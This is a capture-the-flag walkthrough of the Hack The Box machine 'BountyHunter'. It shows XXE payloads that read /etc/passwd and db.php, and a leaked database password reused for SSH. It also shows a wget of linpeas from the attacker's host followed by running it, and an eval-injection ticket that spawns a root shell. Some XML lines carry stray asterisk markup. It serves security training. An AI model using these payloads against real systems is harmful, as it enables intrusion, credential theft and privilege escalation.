---
search:
  exclude: true
---
# BountyHunter Writeup

![](img/66.png)

## Introduction :

BountyHunter is an easy Linux box released back in July 2021

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
    [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter]
    → vim /etc/hosts
    
    [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter]
    → sudo vim /etc/hosts
    [sudo] password for nothing:
    
    [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter]
    → cat /etc/hosts | grep bounty
     10.129.95.166 bountyhunter.htb
    
    [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter]
    → nmap -sCV bountyhunter.htb
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-29 16:10 UTC
    Nmap scan report for bountyhunter.htb (10.129.95.166)
    Host is up (0.027s latency).
    Not shown: 998 closed tcp ports (conn-refused)
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
    |   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
    |_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-title: Bounty Hunters
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 9.12 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port 80 so let's investigate it: 

![](prg/66_001.png)

We click "Portal" and it shows us the following:

![](prg/66_002.png)

So here we see that we can input some text in the fields, so let's intercept it with burpsuite:

![](prg/66_003.png) ![](prg/66_004.png)

So here we see that forwarding the request, once sent adds data to a DB. However let's take a closer look at the data which seems to be a base64 string once b64 decoded: 

![](prg/66_005.png)
    
    
    [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
    → vim data
    
    [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
    → cat data
    <****?xml  version="1.0" encoding="ISO-8859-1"?> <****bugreport> <****title>niihlism
                    <****cwe>cwe
                    <****cvss>10.0
                    <****reward>999999
                    <****/bugreport>

So from here, we can modify the xml data with a payload to print out /etc/passwd:
    
    
    [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
    → vim data
    
    [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
    → cat data
    <****?xml  version="1.0" encoding="ISO-8859-1"?> <****!DOCTYPE nothing [ <****!ELEMENT nothing ANY > <****!ENTITY nihilism SYSTEM "file:///etc/passwd" >]> <****bugreport> <****title> &nihilism;<****/title> <****cwe>cwe <****/cwe> <****cvss>10.0 <**/cvss>
                    <****reward>999999 <****/reward> <****/bugreport>
    
    [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
    → base64 -w0 data
    PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KICA8IURPQ1RZUEUgbmloaWxpc3QgWyAgCiAgPCFFTEVNRU5UIG5paGlsaXNtIEFOWSA+CiAgPCFFTlRJVFkgeHhlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIiA+XT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5uaWhpbGlzbTwvdGl0bGU+CgkJPGN3ZT5jd2U8L2N3ZT4KCQk8Y3Zzcz4xMC4wPC9jdnNzPgoJCTxyZXdhcmQ+OTk5OTk5PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+Cg==%

Then use the b64 string in the burp repeater, and don't forget to URL encode it by selecting it and pressing CTRL+U, then click send:

![](prg/66_006.png)

So now we know the users on the system, so let's continue by looking for other files:
    
    
    [ 10.10.16.14/23 ] [ nowhere ] [~]
    → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://bountyhunter.htb/  -x php
    ===============================================================
    Gobuster v3.3
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://bountyhunter.htb/
    [+] Method:                  GET
    [+] Threads:                 50
    [+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.3
    [+] Extensions:              php
    [+] Timeout:                 10s
    ===============================================================
    2022/11/20 11:10:47 Starting gobuster in directory enumeration mode
    ===============================================================
    /.php                 (Status: 403) [Size: 281]
    /index.php            (Status: 200) [Size: 25169]
    /resources            (Status: 301) [Size: 324] [--> http://bountyhunter.htb/resources/]
    /assets               (Status: 301) [Size: 321] [--> http://bountyhunter.htb/assets/]
    /portal.php           (Status: 200) [Size: 125]
    /css                  (Status: 301) [Size: 318] [--> http://bountyhunter.htb/css/]
    /db.php               (Status: 200) [Size: 0]
    /js                   (Status: 301) [Size: 317] [--> http://bountyhunter.htb/js/]
    
    

So let's try to print out the db.php file using the php filter base64-encode method to avoid having the php code being executed when we try to read it:
    
    
    <****?xml version="1.0" encoding="ISO-8859-1"?> <****!DOCTYPE nothing [ <****!ELEMENT nothing ANY > <****!ENTITY nihilism SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]> <****bugreport> <****title> &nihilism;<****/title> <****cwe>cwe <****/cwe> <****cvss>10.0 <****/cvss> <****reward>999999 <****/reward> <****/bugreport>
    
    [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
    → base64 -w0 dataphp
    PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/PgogIDwhRE9DVFlQRSBub3RoaW5nIFsgIAogIDwhRUxFTUVOVCBub3RoaW5nIEFOWSA+CiAgPCFFTlRJVFkgbmloaWxpc20gU1lTVEVNICJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCIgPl0+CgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU+Jm5paGlsaXNtOzwvdGl0bGU+CgkJPGN3ZT5jd2U8L2N3ZT4KCQk8Y3Zzcz4xMC4wPC9jdnNzPgoJCTxyZXdhcmQ+OTk5OTk5PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+Cg==%

` ![](prg/66_007.png)

So it managed to read the db.php file and gave out it's contents in b64 format, so let's decode it:
    
    
    [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
    → echo 'PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo='
    | base64 -d
    <****?php
    // TODO -> Implement login system with the database.
    $dbserver = "localhost";
    $dbname = "bounty";
    $dbusername = "admin";
    $dbpassword = "**m19RoAU0hP41A1sTsq6K** ";
    $testuser = "test";
    ?>
    
    

And now we have credentials ! Coupled with the development username we found earlier, we login:
    
    
    [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter]
    → sshpub development@bountyhunter.htb
    The authenticity of host 'bountyhunter.htb (10.129.95.166)' can't be established.
    ED25519 key fingerprint is SHA256:p7RCN4B2AtB69d0vE1LTmg0lRRlnsR1fxArJ+KNoNFQ.
    This key is not known by any other names.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added 'bountyhunter.htb' (ED25519) to the list of known hosts.
    development@bountyhunter.htb's password:
    Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
      System information as of Sun 20 Nov 2022 11:16:54 AM UTC
    
      System load:           0.01
      Usage of /:            23.7% of 6.83GB
      Memory usage:          13%
      Swap usage:            0%
      Processes:             217
      Users logged in:       0
      IPv4 address for eth0: 10.129.95.166
      IPv6 address for eth0: dead:beef::250:56ff:fe96:475
    
    
    0 updates can be applied immediately.
    
    
    The list of available updates is more than a week old.
    To check for new updates run: sudo apt update
    
    Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
    development@bountyhunter:~$ id
    uid=1000(development) gid=1000(development) groups=1000(development)
    development@bountyhunter:~$ cat user.txt
    62XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! We managed to login as the development user.

## **Part 3 : Getting Root Access**

Then, in order to privesc, we use linpeas.sh as we did on the Previse box:
    
    
    [term1]
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter]
    → locate linpeas.sh
    /home/nothing/HTB/Cap/linpeas.sh
    /home/nothing/HTB/Knife/linpeas.sh
    /home/nothing/HTB/Paper/linpeas.sh
    /home/nothing/HTB/Previse/linpeas.sh
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter]
    → cp /home/nothing/HTB/Previse/linpeas.sh .
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    [term2]
    development@bountyhunter:~$ which wget curl
    /usr/bin/wget
    /usr/bin/curl
    development@bountyhunter:~$ wget http://10.10.16.14:9090/linpeas.sh -O /tmp/peas.sh
    --2022-11-20 11:19:30--  http://10.10.16.14:9090/linpeas.sh
    Connecting to 10.10.16.14:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 776167 (758K) [application/x-sh]
    Saving to: ‘/tmp/peas.sh’
    
    /tmp/peas.sh                                                      100%[==========================================================================================================================================================>] 757.98K   123KB/s    in 9.3s
    
    2022-11-20 11:19:41 (81.1 KB/s) - ‘/tmp/peas.sh’ saved [776167/776167]
    
    
    development@bountyhunter:~$ chmod +x /tmp/peas.sh
    development@bountyhunter:~$ /tmp/peas.sh
    

` ![](prg/66_008.png)

Let it run, then scrolling through the output we see the following:

![](prg/66_009.png)

So apparently the user development can run a python script as the root user, so let's take a look at it:
    
    
    development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
    #Skytrain Inc Ticket Validation System 0.1
    #Do not distribute this file.
    
    def load_file(loc):
        if loc.endswith(".md"):
            return open(loc, 'r')
        else:
            print("Wrong file type.")
            exit()
    
    def evaluate(ticketFile):
        #Evaluates a ticket to check for ireggularities.
        code_line = None
        for i,x in enumerate(ticketFile.readlines()):
            if i == 0:
                if not x.startswith("# Skytrain Inc"):
                    return False
                continue
            if i == 1:
                if not x.startswith("## Ticket to "):
                    return False
                print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
                continue
    
            if x.startswith("__Ticket Code:__"):
                code_line = i+1
                continue
    
            if code_line and i == code_line:
                if not x.startswith("**"):
                    return False
                ticketCode = x.replace("**", "").split("+")[0]
                if int(ticketCode) % 7 == 4:
                    validationNumber = eval(x.replace("**", ""))
                    if validationNumber > 100:
                        return True
                    else:
                        return False
        return False
    
    def main():
        fileName = input("Please enter the path to the ticket file.\n")
        ticket = load_file(fileName)
        #DEBUG print(ticket)
        result = evaluate(ticket)
        if (result):
            print("Valid ticket.")
        else:
            print("Invalid ticket.")
        ticket.close
    
    main()
    

This python script validates tickets with the following format:
    
    
    development@bountyhunter:/opt/skytrain_inc$ ls -lash invalid_tickets/
    total 24K
    4.0K drwxr-xr-x 2 root root 4.0K Jul 22  2021 .
    4.0K drwxr-xr-x 3 root root 4.0K Jul 22  2021 ..
    4.0K -r--r--r-- 1 root root  102 Jul 22  2021 390681613.md
    4.0K -r--r--r-- 1 root root   86 Jul 22  2021 529582686.md
    4.0K -r--r--r-- 1 root root   97 Jul 22  2021 600939065.md
    4.0K -r--r--r-- 1 root root  101 Jul 22  2021 734485704.md
    development@bountyhunter:/opt/skytrain_inc$ cat invalid_tickets/734485704.md
    # Skytrain Inc
    ## Ticket to Bridgeport
    __ticket code:__
    **18+71+8**
    ##Issued: 2021/06/21
    #End Ticket
    
    

So the idea is to create a poisoned ticket like so:
    
    
    development@bountyhunter:~$ cat /tmp/nihi.md
    # Skytrain Inc
    ## Ticket to Bridgeport
    __Ticket Code:__
    ****32+110+43+ __import__('os').system('id')****
    ##Issued: 2022/11/22
    #End Ticket
    
    development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py
    Please enter the path to the ticket file.
    /tmp/nihi.md
    Destination: Bridgeport
    **uid=0(root) gid=0(root) groups=0(root)**
    Valid ticket.
    
    

And as you can see we managed to get code execution as the root user, so let's use it to spawn a root shell:
    
    
    development@bountyhunter:~$ vim /tmp/nihi.md
    development@bountyhunter:~$ cat /tmp/nihi.md
    # Skytrain Inc
    ## Ticket to Bridgeport
    __Ticket Code:__
    **32+110+43+ __import__('os').system('bash')**
    ##Issued: 2022/11/22
    #End Ticket
    development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py
    Please enter the path to the ticket file.
    /tmp/nihi.md
    Destination: Bridgeport
    root@bountyhunter:/home/development# id
    uid=0(root) gid=0(root) groups=0(root)
    root@bountyhunter:/home/development# cd
    root@bountyhunter:~# cat root.txt
    af1770ee0049711f6b5450004f011db0
    afXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And that's it! We managed to privesc to the root user and get the root flag.

## **Conclusion**

Here we can see the progress graph :

![](img/66_graph.png)

